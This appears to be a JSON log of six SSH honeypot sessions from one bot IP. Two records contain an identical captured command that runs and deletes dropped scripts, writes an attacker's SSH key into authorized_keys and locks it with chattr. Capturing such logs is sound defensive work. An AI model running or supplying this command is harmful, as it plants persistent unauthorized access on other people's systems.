[
 {
  "id": "825fce80-d428-4a34-899c-8c6d10ad5b44",
  "name": "nameless-leafy-raven",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-27T06:27:48.262777+00:00",
  "ended_at": "2026-08-27T06:27:48.487552+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1036
 },
 {
  "id": "714c8f86-63ae-4707-84b8-310084287154",
  "name": "dusky-tangled-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.180.51",
  "src_port": 17480,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T06:33:07.919700+00:00",
  "ended_at": "2026-08-25T06:33:09.027243+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7c2dc75-073e-4f82-8ea8-956c9e4d969f",
  "name": "humble-lucid-albatross",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36788,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-23T12:55:19.400765+00:00",
  "ended_at": "2026-08-23T12:55:19.733045+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1029
 },
 {
  "id": "c29dcbc5-4f17-46c9-886d-d6dae28c777d",
  "name": "indigo-sturdy-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.180.51",
  "src_port": 47722,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:26:31.098736+00:00",
  "ended_at": "2026-08-23T12:26:33.077697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63cf15f4-f796-498a-85b2-d0da6457c4c5",
  "name": "knotted-gallant-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.180.51",
  "src_port": 34478,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:22:47.252527+00:00",
  "ended_at": "2026-08-22T00:22:48.273756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78441228-e226-4b7e-89ad-ba945d568dd6",
  "name": "restless-dusky-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.180.51",
  "src_port": 17680,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:45:06.691872+00:00",
  "ended_at": "2026-08-20T06:45:08.420258+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 }
]